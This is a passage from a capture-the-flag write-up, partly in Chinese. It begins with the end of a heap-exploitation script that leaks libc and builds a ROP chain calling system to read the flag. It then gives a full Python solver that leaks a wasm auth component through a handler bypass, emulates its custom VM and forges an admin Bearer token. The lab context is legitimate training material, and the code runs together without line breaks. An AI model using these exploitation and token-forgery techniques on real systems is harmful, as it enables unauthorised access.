slots = pie + OFF_SLOTSread_got = pie + OFF_READ_GOT
log.info(f"PIE = {hex(pie)}")log.info(f"stack hint = {hex(stack_hint)}")log.info(f"FILE0 = {hex(fp0)}")log.info(f"slots[] = {hex(slots)}")
reg(b"B" * 0x3f + b"\n")
upd(0, b"C" * 0x40 + p64x(fp0) + p64x(0x51))dele(0)
reg(b"D" * 0x3f + b"\n")reg(b"E" * 0x3f + b"\n")
dele(0)dele(1)
enc = slots ^ (B >> 12)upd(2, b"F" * 0x1e0 + p64x(enc) + p64x(0))
reg(b"G" * 0x3f + b"\n")reg(p64x(0) + p64x(0) + p64x(0) + p64x(0))
log.success("controlled slots[]")
read_addr = u64(leak48(read_got)[:8])libc.address = read_addr - libc.sym["read"]
log.success(f"libc base = {hex(libc.address)}")
stack_ret = find_stack_ret(stack_hint)log.success(f"stack ret = {hex(stack_ret)}")
cmd_addr = slots + 0x80
payload = flat( p64x(stack_ret), p64x(slots), p64x(0), p64x(0),)
payload = payload.ljust(0x80, b"\x00") + b"cat /flag.txt\x00"upd(1, payload)
rop = make_system_rop(cmd_addr)
menu(4)io.recvuntil(b"slot: ")io.sendline(b"0")io.recvuntil(b"new username: ")io.send(rop.ljust(0x200, b"\x00"))
print(io.recvall(timeout=3).decode(errors="ignore"))Flag:
NHNC{0x67676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767_sixseven!!!}
Confused Component - Revh2
- Author: hsuan0223x
這題是 Web 題的延伸。先用 Web 題找到的 static handler bypass 洩漏同一個 instance 的 auth component,接著從 wasm 裡找出 CCVM1 blob,實作 VM 後對 admin payload 算 proof。最後把 {uid, team, exp, nonce, proof} 做 canonical JSON,再 base64url 成 Bearer token 打 /admin/flag。
Exploit:
- 從同一個 instance leak component:
/assets/manual.css;handler=component;name=auth - 在 wasm 裡搜尋
CCVM1,切出 constants 和 bytecode - 從
/api/info拿team和server_time - nonce =
sha256(f"{team}:{server_time}")[:16] - 對 admin core payload 做 canonical JSON
- 用 VM 跑出 32 bytes proof
- final payload 加上 proof 後 base64url,作為
Authorization: Bearer <token>打/admin/flag
solver.py
#!/usr/bin/env python3import base64, hashlib, json, struct, sysimport requests
BASE = sys.argv[1].rstrip("/")MASK = 0xffffffff
def b64(x): return base64.urlsafe_b64encode(x).rstrip(b"=").decode()
def canon(o): return json.dumps(o, separators=(",", ":"), sort_keys=True).encode()
def u32(b, i): return struct.unpack_from("<I", b, i)[0]
def rol(x, n): x &= MASK n &= 31 return ((x << n) | (x >> (32 - n))) & MASK
def get_component(): r = requests.get(BASE + "/assets/manual.css;handler=component;name=auth") r.raise_for_status() return r.content
def parse_ccvm(wasm): p = wasm.find(b"CCVM1") assert p != -1 clen, blen = struct.unpack_from("<HH", wasm, p + 5) constants = wasm[p + 9:p + 9 + clen] bytecode = wasm[p + 9 + clen:p + 9 + clen + blen] return constants, bytecode
def run_vm(code, const, inp): r = [0] * 8 mem = bytearray(256) ip = 0
while True: op = code[ip] ip += 1
if op == 0x01: a = code[ip] r[a] = u32(code, ip + 1) ip += 5 elif op == 0x02: a, off = code[ip], code[ip + 1] r[a] = u32(inp, off) ip += 2 elif op == 0x03: a, idx = code[ip], code[ip + 1] r[a] = u32(const, idx * 4) ip += 2 elif op == 0x04: a, b = code[ip], code[ip + 1] r[a] = (r[a] ^ r[b]) & MASK ip += 2 elif op == 0x05: a, b = code[ip], code[ip + 1] r[a] = (r[a] + r[b]) & MASK ip += 2 elif op == 0x06: a, n = code[ip], code[ip + 1] r[a] = rol(r[a], n) ip += 2 elif op == 0x07: a, b = code[ip], code[ip + 1] r[a] = (r[a] * r[b]) & MASK ip += 2 elif op == 0x08: off, a = code[ip], code[ip + 1] mem[off:off + 4] = struct.pack("<I", r[a] & MASK) ip += 2 elif op == 0x09: a, off = code[ip], code[ip + 1] r[a] = u32(mem, off) ip += 2 elif op == 0x0a: dst, a, b = code[ip], code[ip + 1], code[ip + 2] r[dst] = ((r[a] ^ rol(r[b], 9)) + 0x9e3779b9) & MASK ip += 3 elif op == 0x0b: a = code[ip] rel = struct.unpack("b", code[ip + 1:ip + 2])[0] ip += 2 if r[a]: ip += rel elif op == 0xff: return bytes(mem[:32]) else: raise Exception(f"bad opcode {op:#x}")
wasm = get_component()const, code = parse_ccvm(wasm)
info = requests.get(BASE + "/api/info").json()team = info["team"]server_time = int(info["server_time"])nonce = hashlib.sha256(f"{team}:{server_time}".encode()).digest()[:16]
core = { "uid": "admin", "team": team, "exp": server_time + 900, "nonce": b64(nonce),}
c = canon(core)inp = ( hashlib.sha256(c).digest() + nonce + hashlib.sha256(nonce + c + const[:16]).digest())
proof = run_vm(code, const, inp)
token_payload = dict(core)token_payload["proof"] = b64(proof)token = b64(canon(token_payload))
r = requests.get( BASE + "/admin/flag", headers={"Authorization": "Bearer " + token},)
print(r.text)
Comments